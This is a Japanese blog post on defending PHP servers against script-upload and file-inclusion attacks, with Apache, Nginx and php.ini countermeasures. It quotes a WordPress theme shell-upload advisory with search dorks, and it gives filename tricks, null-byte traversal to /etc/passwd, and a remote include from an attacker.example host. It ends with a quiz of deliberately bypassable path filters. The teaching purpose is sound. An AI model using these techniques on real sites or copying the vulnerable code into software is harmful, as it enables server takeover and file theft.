PHPスクリプトアップロード対策

PHP Security 11月 27, 2013 #PHP
(Last Updated On: 2018年8月8日)

今日はWordPressプラグインとWebサーバー設定の脆弱性を例にスクリプトアップロード対策を紹介します。

ファイルアップロードをサポートしているシステムの場合、PHPスクリプトとして実行されてしまう拡張子を持つファイルをアップロードされてしまうとサーバーを乗っ取られてしまいます。

参考リンク:

 

参考リンクの脆弱性とPoCはWebサーバー上に公開されているディレクトリへPHPスクリプトをアップロードし、任意のスクリプトを実行する攻撃です。一つ目の脆弱性の内容は以下の通りです。

#Title : WordPress GeoPlaces 4.x Themes Shell Upload Vulnerabillity

#Version : 4.x

#Vulnerabillity : Shell Upload

#Dork :
inurl:wp-content/themes/geoplaces4/
inurl:wp-content/themes/GeoPlaces4beta/

Exploit & POC

http://site-target/wp-content/themes/GeoPlaces4beta/monetize/upload/

Result Upload

http://site-target/wp-content/uploads/[years]/[months]/[Find_your_shell].php

Click Browse, And Choose your shell..

要するに.php拡張子を持つファイルがuploadsディレクトリにアップロード可能で、PHPスクリプトとして実行できる事が問題になっています。WordPressのプラグインに限らず、PHPをインストールしたサーバーのドキュメントルート以下にPHPとして実行できてしまうファイルが置ける場合、どのPHPアプリケーションでも重大なセキュリティ問題になります。これはPHPに限った問題ではなく、拡張子でプログラムを実行可能に設定していれば言語を問わず同じです。

2つ目の脆弱性レポートはなかなか面白いです。これはPHPのみでなく、ASPの例もあります。

Code Execution attack via file uploading. There are two methods of code
execution: by using of symbol “;” (1.asp;.jpg) in file name (IIS) and by
double extension (1.php.jpg) (Apache with special configuration).

つまり “1.asp;.jpg” をいうファイル名でASPの実行ファイルとして実行されてしまう問題(IIS)と “1.php.jpg” というファイルがPHPファイルとして実行されてしまう場合(Apacheに特別な設定が必要)がある、としています。

いったいどんな設定で 1.php.jpg が実行されるんだ?!と思うかも知れませんが、こうならないようApacheの設定をして下さいとPHPマニュアルには書いてあります

Apache が特定の拡張子のファイルを PHP としてパースするよう設定します。 たとえば、Apache が拡張子 .php のファイルを PHP としてパースするようにします。 単に Apache の AddType ディレクティブを使うだけではなく、 悪意を持ってアップロード (あるいは作成) された exploit.php.jpg のようなファイルが PHP として実行されてしまわないようにしたいものです。 この例では、PHP としてパースさせたい任意の拡張子を追加していくだけです。 ためしに .phtml を追加してみましょう。

要するにAddTypeだけでPHPスクリプトの実行設定をしているApache httpd サーバーはかなり危険ということです。現在のマニュアル通りの設定であれば安全です。もしAddTypeを使用する設定になっていたら今直ぐ設定を修正しましょう。

正しい設定はPHPとして実行する拡張子をFilesMatchで指定し、ハンドラーとしてPHPを指定します。

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

 

Nginxでも似たような問題が起こり得ます。Apacheと似たような設定にすると脆弱になるので注意してください。

location ~* \.php$ {
  fastcgi_pass backend;
  ...
}

のような設定だと

/path/to/attack.png/index.php

がリクエストとして送信された場合で/path/to/attack.png/index.phpが存在せず、/path/to/attack.pngが存在する場合にattack.pngがPHPスクリプトとして実行されます。

参考:Nginx Pitfalls

スクリプトアップロード対策

PHPはApache httpdサーバーのディレクトリ単位の設定PHP自体を無効化することによりこのリスクを排除する事が可能です。

/var/www/html/upload/でPHPスクリプトの実行を行わない場合、/var/www/html/upload/.htaccessなどに

php_admin_flag engine off
または
php_flag engine off

を記入します。先日このブログをWordPressに移行しましたが、このブログにもこの対策と同様の設定を行い安全性を向上させています。
Apacheの設定ファイルを使う場合、Directoryディレクティブを利用します。

<Directory "/var/www/html/upload">
    php_admin_flag engine off
または
    php_flag engine off
</Directory>

アップロードされたスクリプトを含むファイルを実行可能なPHPスクリプトから不正に読み込ませるファイルインクルート攻撃には対応できませんが、アップロードされたファイルをPHPスクリプトとして直接実行されないようにする確実な方法です。アップロードディレクトリに.htaccessファイルがある場合、.htaccessが改ざんされないよう適切なファイルアクセス権限を設定する事を忘れてはなりません。

古いPHPはディレクトリ単位のphp.ini設定はApacheのみでしたが、PHP 5.3からCGI/Fast-CGIでも利用できるようになっています。

PHP以外の言語でも同類の対策が可能である場合もあります。その場合、同様にファイルが実行ファイルとしてWebサーバーに認識されないように設定すれば攻撃される可能性がなくなります。

全て公開するファイルである場合は効率が悪いですが、アップロードしたファイルをドキュメントルート以下に配置せず、readfile()などを利用してPHPスクリプトで送信する方法もあります。この方法の場合、ユーザー権限に合わせたファイルへのアクセス制御も可能です。readfile()など利用する場合も次に解説するパストラバーサルなどが行われないよう注意が必要です。

類似の攻撃

スクリプトアップロードと関連した攻撃にはファイルインクルード攻撃があります。ファイルインクルード攻撃にはローカルファイルインクルードとリモートファイルインクルードの2種類があります。

典型的なローカルファイルインクルード攻撃はPHPスクリプトを埋め込んだイメージや文書をアップロードディレクトリにアップロードし、include/require文からパストラバーサル(../../upload/attack.jpgなどを読み込ませる)などを利用し攻撃用PHPスクリプトを実行させます。

ローカルファイルインクルード対策としてPHP 5.3.4からファイル関連関数でパス名にヌル文字を含むパスは無効なパスとして処理されます。

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

この対策により、以下のようなインクルード攻撃が防止できるようになりました。Rubyなどの他のLL系言語でもこのような動作になっています。

<?php

$path = "module_name.php\0/../../../../../etc/passwrod";

if (ereg($path, '^module_name.php$')) {
  // バリデートしたつもり
  include($path); // PHP 5.3.4以降はエラー
}

このサンプルスクリプトはディレクトリトラバーサルで/etc/passwordファイルのコンテンツを取得する例です。イメージファイルに偽装したPHPスクリプトをアップロードして、同様の攻撃手法で任意のPHPスクリプトを実行する攻撃にも使えます。

このスクリプトにはヌル文字を文字列の終端と解釈してしまうバイナリセーフでないereg関数を用いている問題もあります。 バイナリセーフでない関数を用いるとヌル文字で文字列が終わっていると解釈され、このような脆弱性の原因になります。ereg関数などの非バイナリセーフ関数は現在は非推奨の関数となっています。PHP 5.3.4以降の場合、ファイル関連関数が自動的にエラーとするので攻撃できませんが非バイナリセーフ関数の利用は脆弱性の原因になるので利用している場合はバイナリセーフ関数に書き換える方が安全です。

PHPの設定にはopen_basedir設定があります。この設定はローカルファイルインクルード脆弱性があった場合の影響を緩和させる事が可能です。例えば

/var/www

にアプリケーションが必要とする全てのファイルがある場合、

open_basedir="/var/www"

をphp.iniに設定します。このように設定した場合、

<?php
$path = "../../../../../etc/passwrod";
include($path); // エラー
}

のようなコードはエラーとなり実行できません。open_basedirも必ず利用すべき設定です。このブログもopen_basedir設定を行っています。

PHPのファイル関連関数はURLを利用したファイルアクセスが可能です。このため、

<?php
$filename = 'http://attacker.example.com/evil_script.php';
include($filename)

のようなコードがあった場合、リモートサイトのPHPスクリプトが実行されます。リモートスクリプトはRPCのような仕組みを作る場合に便利ですが、リモートスクリプト実行のリスクは高い為、デフォルトのphp.iniでは無効になっています。

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

リモートスクリプトのインクルード機能の利用は必要最小限に留めておく方が良いです。パスに変数を 利用する場合、入力パラメーターを確実にバリデーションしてから利用しなければなりません。

PHPへのファイルインクルード攻撃

PHPは他の言語と違い埋込み型言語である為、他の言語に比べるとファイルインクルード脆弱性の影響が非常に大きいです。PHPスクリプトを読み込むinclude()/require()でPHPスクリプト読み込んだつもりでも、/etc/password読み込みダンプできてしまう、などの問題があります。非埋込み型の言語であれば/etc/passwdなどは「構文エラー」でエラーになります。イメージファイルなどの中や最後にPHPスクリプトを埋め込んでもPHPは実行してしまいます。他の言語であればファイル形式を確認していればスクリプトとして実行される事はあまりありません。可能な場合もありますが、PHPのようにどこにスクリプトが埋め込まれていても実行可能ではありません。

PHPはファイルインクルード攻撃に仕組み的に脆弱です。手前味噌ですが、これを解消する為にRFC(変更提案)が用意されています。しかし、まだどうなるかはまだわかりません。

PHPのセキュリティ入門書に記載するコンテンツのレビューも兼ねてブログを書いています。コメント、感想は大歓迎です。

追記:

スクリプトアップロード対策(追加)も参照してください。

 

おまけのクイズ

ブラックリスト型のセキュリティ対策は、どうしても仕方がない限り使ってはなりません。以下のサニタイズコードは “../” 、”..” を無効な文字列として取り除きます。このサニタイズコードを回避しカレントディレクトリよりも上の階層からのパスへアクセスするパストラバーサルを行う文字列を考えてみて下さい。(/etc/passwdなどにアクセスできる文字列を考えて下さい)

レベル1

<?php
if ($_GET['filename']{0} === '/') {
   // 絶対パスは無効
   die('無効なファイル名が送信されました。');
}
// トラバーサルに利用される"../", ".."を削除
// カレントディレクトリ以下のファイルだけ読み込む?
$safe_path = str_replace(array('../', '..'), '', $_GET['filename']);
readfile($safe_path);

簡単すぎた方はレベル2をどうぞ。以下のコードはブラックリスト型チェックでパストラバーサルに利用される “.” が1つしか無いことでセキュリティを維持しようとするコードです。

レベル2

<?php
if ($_GET['filename']{0} === '/') {
   // 絶対パスは無効
   die('無効なファイル名が送信されました。');
}
if (strpos($_GET['filename'], '.') !== strrpos($_GET['filename'], '.')) {
   // トラバーサルに利用される"."は1つしか許さない
   die('無効なファイル名が送信されました。');
}
// カレントディレクトリ以下のファイルだけ読み込む?
readfile($_GET['filename']);

解答は明日以降に書きます。

書きました。解答は ブラックリスト型(サニタイズ型)のセキュリティ対策クイズ 解答編 をどうぞ。

追記:
strpos/strrposのパラメーターの順序がおかしかったので修正しました。小川さん、ありがとうございます!

投稿者: yohgaki